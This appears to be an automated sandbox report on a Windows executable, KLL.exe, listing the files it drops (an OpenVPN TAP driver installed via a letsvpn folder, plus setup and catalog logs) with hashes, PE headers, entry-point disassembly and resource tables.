Encrypted:	false
SSDEEP:	192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
MD5:	26009F092BA352C1A64322268B47E0E3
SHA1:	E1B2220CD8DCAEF6F7411A527705BD90A5922099
SHA-256:	150EF8EB07532146F833DC020C02238161043260B8A565C3CFCB2365BAD980D9
SHA-512:	C18111982CA233A7FC5D1E893F9BD8A3ED739756A47651E0638DEBB0704066AF6B25942C7961CDEEDF953A206EB159FE50E0E10055C40B68EB0D22F6064BB363
Malicious:	false
Preview:	; ***************************************************************************..; Copyright (C) 2002-2014 OpenVPN Technologies, Inc. ..; This program is free software; you can redistribute it and/or modify ..; it under the terms of the GNU General Public License version 2 ..; as published by the Free Software Foundation. ..; *************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*******************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

C:\Windows\INF\setupapi.dev.log

Download File

Process:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
File Type:	Generic INItialization configuration [BeginLog]
Category:	dropped
Size (bytes):	58516
Entropy (8bit):	5.207275695888395
Encrypted:	false
SSDEEP:	384:OGdni80C/8g0atRf7yr14ujuNY9AZi3Z/oUtwrP3UQGSE254ZFeofRuaHikzjP:Own95cdyYloiwTyz25lofU+zr
MD5:	B6177FA7EB1615CCD9765DB8C4D632D1
SHA1:	E4F5F5F43FC50EE5017C64A4F7FAFB5695970624
SHA-256:	36BBFD0CCACF95B86C68D34053BDAA56F82B9BA6C272F1F8ADF5B7CC9812F946
SHA-512:	995DE266AB951810CDB8958BCEDA0C3FE2EDB0BC644EDBEB0BECA8ACEDE2473866F7CA3DC49EB3CF964EA376DD1F0F647FBBE571E89FBA52432F5A351E2D3162
Malicious:	false
Preview:	[Device Install Log].. OS Version = 10.0.19045.. Service Pack = 0.0.. Suite = 0x0100.. ProductType = 1.. Architecture = amd64....[BeginLog]....[Boot Session: 2023/10/03 09:57:02.288]....>>> [Setup Import Driver Package - C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf]..>>> Section start 2023/10/03 09:57:37.904.. cmd: C:\Windows\System32\spoolsv.exe.. inf: Provider: Microsoft.. inf: Class GUID: {4D36E979-E325-11CE-BFC1-08002BE10318}.. inf: Driver Version: 06/21/2006,10.0.19041.1806.. inf: Catalog File: prnms009.cat.. ump: Import flags: 0x0000000D.. pol: {Driver package policy check} 09:57:37.920.. pol: {Driver package policy check - exit(0x00000000)} 09:57:37.920.. sto: {Stage Driver Package: C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf} 09:57:37.920.. inf: {Query Configurability: C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf} 09:57:37.920.. inf:

C:\Windows\Logs\NetSetup\service.0.etl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	524288
Entropy (8bit):	0.42405468581672556
Encrypted:	false
SSDEEP:	192:6LZm8DmT1xMS92sICkjd0x5AUko5HOLboAcKYzFlgbmYa5G55n8:6LvM7mjhRoZO/oAP4058
MD5:	33A269A1149EC6BAB0E021BC00789820
SHA1:	754C509D29A832E34CE79A143AB8327B7B206DD0
SHA-256:	45F03E047CB6B2FEDD541C892812E5DEB3EACE15C62A022370C88548548000D7
SHA-512:	5023BE7CF3BC4B371E9BE2F38F9EE6D9DBEB654A7659456F11BEBEEFAEDF724AF043AF40EB2C214808389601B0BCAE7B972233CF16AC533A9AFA506A8318AB78
Malicious:	false
Preview:	....8...8.......................................P...!....................................?......................eJ........v;....Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.6.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.6.1...........................................................@K5..............?..............N.e.t.C.f.g.T.r.a.c.e...C.:.\.W.i.n.d.o.w.s.\.L.o.g.s.\.N.e.t.S.e.t.u.p.\.s.e.r.v.i.c.e...0...e.t.l.........P.P..........?..................................................................8.B..?......19041.1.amd64fre.vb_release.191206-1406.....5.@..?.........gP.......U..l....NetSetupShim.pdb.b......7.@..?.......I.[.8+m.!N8$......NetSetupEngine.pdb......4.@..?.........>*.....Nr8..a....NetSetupApi.pdb.........4.@..?.........E_iC...F........NetSetupSvc.pdb.............................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System32\DriverStore\Temp\{8c9994a9-d414-3f4e-8918-cdf319aba055}\SET7AD4.tmp

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	7632
Entropy (8bit):	5.063558190257152
Encrypted:	false
SSDEEP:	192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
MD5:	26009F092BA352C1A64322268B47E0E3
SHA1:	E1B2220CD8DCAEF6F7411A527705BD90A5922099
SHA-256:	150EF8EB07532146F833DC020C02238161043260B8A565C3CFCB2365BAD980D9
SHA-512:	C18111982CA233A7FC5D1E893F9BD8A3ED739756A47651E0638DEBB0704066AF6B25942C7961CDEEDF953A206EB159FE50E0E10055C40B68EB0D22F6064BB363
Malicious:	false
Preview:	; ***************************************************************************..; Copyright (C) 2002-2014 OpenVPN Technologies, Inc. ..; This program is free software; you can redistribute it and/or modify ..; it under the terms of the GNU General Public License version 2 ..; as published by the Free Software Foundation. ..; *************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*******************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

C:\Windows\System32\DriverStore\Temp\{8c9994a9-d414-3f4e-8918-cdf319aba055}\SET7AF4.tmp

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	data
Category:	dropped
Size (bytes):	10739
Entropy (8bit):	7.214364446291792
Encrypted:	false
SSDEEP:	192:JDVLGVDFfap5UEwQl/WGhYCt17vJ4qnaj6jQc:7GCpzlnh3t1x4l2jn
MD5:	F73AC62E8DF97FAF3FC8D83E7F71BF3F
SHA1:	619A6E8F7A9803A4C71F73060649903606BEAF4E
SHA-256:	CC74CDB88C198EB00AEF4CAA20BF1FDA9256917713A916E6B94435CD4DCB7F7B
SHA-512:	F81F5757E0E449AD66A632299BCBE268ED02DF61333A304DCCAFB76B2AD26BAF1A09E7F837762EE4780AFB47D90A09BF07CB5B8B519C6FB231B54FA4FBE17FFE
Malicious:	false
Preview:	0.)....H........).0.)....1.0...`.H.e......0..i..+.....7.....Z0..V0...+.....7.......r?.X.M.....F.A..201008141946Z0...+.....7.....0..T0.... .....S!F.3....#.a.2`..e...#e...1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .....S!F.3....#.a.2`..e...#e...0...."~..m..8C. i$.4.l..1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..j(.M<.cR..XrT....F..R.]....?1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..j(.M<.cR..XrT....F..R.]....?0.....".....A.Rw..... .1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f.......0...0....+.

C:\Windows\System32\DriverStore\Temp\{8c9994a9-d414-3f4e-8918-cdf319aba055}\SET7B44.tmp

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39920
Entropy (8bit):	6.338128217115975
Encrypted:	false
SSDEEP:	768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
MD5:	C10CCDEC5D7AF458E726A51BB3CDC732
SHA1:	0553AAB8C2106ABB4120353360D747B0A2B4C94F
SHA-256:	589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
SHA-512:	7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

C:\Windows\System32\DriverStore\Temp\{8c9994a9-d414-3f4e-8918-cdf319aba055}\oemvista.inf (copy)

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	7632
Entropy (8bit):	5.063558190257152
Encrypted:	false
SSDEEP:	192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
MD5:	26009F092BA352C1A64322268B47E0E3
SHA1:	E1B2220CD8DCAEF6F7411A527705BD90A5922099
SHA-256:	150EF8EB07532146F833DC020C02238161043260B8A565C3CFCB2365BAD980D9
SHA-512:	C18111982CA233A7FC5D1E893F9BD8A3ED739756A47651E0638DEBB0704066AF6B25942C7961CDEEDF953A206EB159FE50E0E10055C40B68EB0D22F6064BB363
Malicious:	false
Preview:	; ***************************************************************************..; Copyright (C) 2002-2014 OpenVPN Technologies, Inc. ..; This program is free software; you can redistribute it and/or modify ..; it under the terms of the GNU General Public License version 2 ..; as published by the Free Software Foundation. ..; *************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*******************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

C:\Windows\System32\DriverStore\Temp\{8c9994a9-d414-3f4e-8918-cdf319aba055}\tap0901.cat (copy)

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	data
Category:	dropped
Size (bytes):	10739
Entropy (8bit):	7.214364446291792
Encrypted:	false
SSDEEP:	192:JDVLGVDFfap5UEwQl/WGhYCt17vJ4qnaj6jQc:7GCpzlnh3t1x4l2jn
MD5:	F73AC62E8DF97FAF3FC8D83E7F71BF3F
SHA1:	619A6E8F7A9803A4C71F73060649903606BEAF4E
SHA-256:	CC74CDB88C198EB00AEF4CAA20BF1FDA9256917713A916E6B94435CD4DCB7F7B
SHA-512:	F81F5757E0E449AD66A632299BCBE268ED02DF61333A304DCCAFB76B2AD26BAF1A09E7F837762EE4780AFB47D90A09BF07CB5B8B519C6FB231B54FA4FBE17FFE
Malicious:	false
Preview:	0.)....H........).0.)....1.0...`.H.e......0..i..+.....7.....Z0..V0...+.....7.......r?.X.M.....F.A..201008141946Z0...+.....7.....0..T0.... .....S!F.3....#.a.2`..e...#e...1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .....S!F.3....#.a.2`..e...#e...0...."~..m..8C. i$.4.l..1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..j(.M<.cR..XrT....F..R.]....?1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..j(.M<.cR..XrT....F..R.]....?0.....".....A.Rw..... .1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f.......0...0....+.

C:\Windows\System32\DriverStore\Temp\{8c9994a9-d414-3f4e-8918-cdf319aba055}\tap0901.sys (copy)

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39920
Entropy (8bit):	6.338128217115975
Encrypted:	false
SSDEEP:	768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
MD5:	C10CCDEC5D7AF458E726A51BB3CDC732
SHA1:	0553AAB8C2106ABB4120353360D747B0A2B4C94F
SHA-256:	589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
SHA-512:	7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

C:\Windows\System32\catroot2\dberr.txt

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	3474
Entropy (8bit):	5.366517831258574
Encrypted:	false
SSDEEP:	96:QO00eO00erMwUgWUg0B1kE3ZhpJp8ZpkRepk3YpgpNF:QO00eO00erMwmkB1kAv
MD5:	C47EA6C3E11AD8754D0FD32580BF456F
SHA1:	E19D55BD13B8616A99BDCC08FBABFE04B22E4D37
SHA-256:	40036D8E86F7454370B4C19A8CBB0940B8455B6C875372EE029AE546D019FF65
SHA-512:	9FDFD91E48FA89102B4B4C0EC985F59CAF39A2CD1E0408953B4A3AA62396B8459F4F52D26CEF70F50615113E51D2CF0AD1AA6637E42D5C266176E50F333A899B
Malicious:	false
Preview:	CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6041 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6699 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #4398 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6041 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6699 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #4398 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #2083 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #2459 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: SyncAllDBs Corruption or Schema Change..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #891 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #1307 encountered JET error -1601..CatalogDB: 08:57:12 03/10/2023: SyncDB:: Sync sta

C:\Windows\System32\drivers\SET81E9.tmp

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39920
Entropy (8bit):	6.338128217115975
Encrypted:	false
SSDEEP:	768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
MD5:	C10CCDEC5D7AF458E726A51BB3CDC732
SHA1:	0553AAB8C2106ABB4120353360D747B0A2B4C94F
SHA-256:	589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
SHA-512:	7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

C:\Windows\System32\drivers\tap0901.sys (copy)

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39920
Entropy (8bit):	6.338128217115975
Encrypted:	false
SSDEEP:	768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
MD5:	C10CCDEC5D7AF458E726A51BB3CDC732
SHA1:	0553AAB8C2106ABB4120353360D747B0A2B4C94F
SHA-256:	589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
SHA-512:	7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\System32\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	62
Entropy (8bit):	4.660021617523528
Encrypted:	false
SSDEEP:	3:jBJFELuwVALZgmBcRICkREuQr:jBJolmKR8+
MD5:	431C72A52277FF624BE2147D59F88185
SHA1:	E21077530E772031F7D72E7C8EB5C0C10848C8CD
SHA-256:	C3E85571FC8FE390B2FE922855726416A7748115370DE6F7CE251EE8360B125B
SHA-512:	DF78DE3B8D2B23F9A9C1B5504A663CC861BE4CB0D7F9AA600D88725CADE9AF3BA19FFE5383EF2FA1F180E252543FDF385CD851539CE217CDA1B8DD0E29321176
Malicious:	false
Preview:	Windows cannot open the file named C:\ProgramData\7gW9F.xml...

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.555454795666252
TrID:	Win64 Executable GUI (202006/5) 60.38% Windows ActiveX control (116523/4) 34.83% Win64 Executable (generic) (12005/4) 3.59% Generic Win/DOS Executable (2004/3) 0.60% DOS Executable Generic (2002/1) 0.60%
File name:	KLL.exe
File size:	32'259'584 bytes
MD5:	5ffebaab4f8218b7abff3a8258dbf316
SHA1:	0808b7cc585e310e5576ad1a44eb37b963d952ef
SHA256:	f0795ab570128f9924611a8955e964a2121aac61135701cbdd38664ca746b1d4
SHA512:	f84ee2213efd183b4d4c4e5155d232ec4880471d99d0a117c541ced9fefca25fe47820522c86a1747c035e20ae1ee3be3c0d855f4d8b932d31843e9ac2e1c14a
SSDEEP:	393216:STldovMZL9ZJANAAAdJJ1AboWROo2Q3d2sMNJ+Hmasukzz34qxuHkZmyTtvkJJhe:KpeOJJ1AtROo1YsM6Hmad+o/S
TLSH:	CD67D08BB76541D1D16FC179C9469A4FD7B270144B22DBCF01A8CB9A2F236E21E7E312
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......%2.GaS..aS..aS....-.nS..../..S......wS..h+_.lS..h+X.`S..h+[.cS..h+O.FS..aS..>P......wS......kS.......R......hS....#.`S..aSK.`S.

File Icon


Icon Hash:	13adccdae6642d93

Static PE Info

General

Entrypoint:	0x14029a648
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x669951CF [Thu Jul 18 17:33:03 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	c97702b2ade29d70dc110536ed951598

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F728919577Ch
dec eax
add esp, 28h
jmp 00007F7289194BFBh
int3
int3
dec eax
jmp dword ptr [0008052Dh]
int3
dec eax
mov eax, esp
dec eax
mov dword ptr [eax+08h], ebx
dec eax
mov dword ptr [eax+10h], ebp
dec eax
mov dword ptr [eax+18h], esi
dec eax
mov dword ptr [eax+20h], edi
inc ecx
push esi
dec eax
sub esp, 20h
dec ebp
mov edx, dword ptr [ecx+38h]
dec eax
mov esi, edx
dec ebp
mov esi, eax
dec eax
mov ebp, ecx
dec ecx
mov edx, ecx
dec eax
mov ecx, esi
dec ecx
mov edi, ecx
inc ecx
mov ebx, dword ptr [edx]
dec eax
shl ebx, 04h
dec ecx
add ebx, edx
dec esp
lea eax, dword ptr [ebx+04h]
call 00007F72891940F3h
mov eax, dword ptr [ebp+04h]
and al, 66h
neg al
mov eax, 00000001h
sbb edx, edx
neg edx
add edx, eax
test dword ptr [ebx+04h], edx
je 00007F7289194DC3h
dec esp
mov ecx, edi
dec ebp
mov eax, esi
dec eax
mov edx, esi
dec eax
mov ecx, ebp
call 00007F7289198B6Fh
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov ebp, dword ptr [esp+38h]
dec eax
mov esi, dword ptr [esp+40h]
dec eax
mov edi, dword ptr [esp+48h]
dec eax
add esp, 20h
inc ecx
pop esi
ret
int3
int3
int3
int3
int3
int3
int3
dec eax
mov eax, esp
dec esp
mov dword ptr [eax+20h], ecx
dec esp
mov dword ptr [eax+18h], eax
dec eax
mov dword ptr [eax+10h], edx
push ebx
push esi
push edi
inc ecx
push esi
dec eax
sub esp, 38h
dec ecx
mov esi, ecx
dec ecx
mov ebx, eax
dec esp

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[C++] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x428198	0x190	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1ebc000	0x4a80	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1e6b000	0x2b224	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1ec1000	0x13d08	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3a6eb0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x3a6f68	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3a6ed0	0x94	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x319000	0x1b90	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3178f8	0x317a00	f96ee7754d08787687b1eb505a685850	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x319000	0x11484c	0x114a00	89e108df304175c0459392c15d48ba85	False	0.27002813629688205	OpenPGP Public Key	4.903999286905515	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x42e000	0x1a3c394	0x1a30800	c7735cc98397c10354578f48a1c21fc8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1e6b000	0x2b224	0x2b400	923a6ca7e6cc856db44c051a9228bdf4	False	0.5233584718208093	data	6.410379575227654	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.gfids	0x1e97000	0x22bb4	0x22c00	674d0626bad3418c0043bbd12f7872de	False	0.2880999887589928	data	4.244986681070948	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.giats	0x1eba000	0x1c	0x200	f76e34f2fc47f018fdb8d0c8fc6074e8	False	0.0703125	data	0.26789873110924267	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x1ebb000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1ebc000	0x4a80	0x4c00	14636b9c17349a42f567635fadf5ce88	False	0.31522409539473684	data	4.063863153985283	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1ec1000	0x13d08	0x13e00	ff4e7e6ea58930397f774fdfbd06cde2	False	0.09371314858490566	data	5.449056424193202	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x1ebe598	0x2	data	Chinese	China	5.0
RT_CURSOR	0x1ebe5a0	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	Chinese	China	0.4805194805194805
RT_CURSOR	0x1ebe6d8	0xb4	Targa image data - Map 32 x 65536 x 1 +16 "\001"	Chinese	China	0.7
RT_CURSOR	0x1ebe7b8	0x134	AmigaOS bitmap font "(", fc_YSize 4294967264, 5120 elements, 2nd "\377\360?\377\377\370\177\377\377\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	Chinese	China	0.36363636363636365
RT_CURSOR	0x1ebe908	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.35714285714285715
RT_CURSOR	0x1ebea58	0x134	data	Chinese	China	0.37337662337662336
RT_CURSOR	0x1ebeba8	0x134	data	Chinese	China	0.37662337662337664
RT_CURSOR	0x1ebecf8	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	Chinese	China	0.36688311688311687
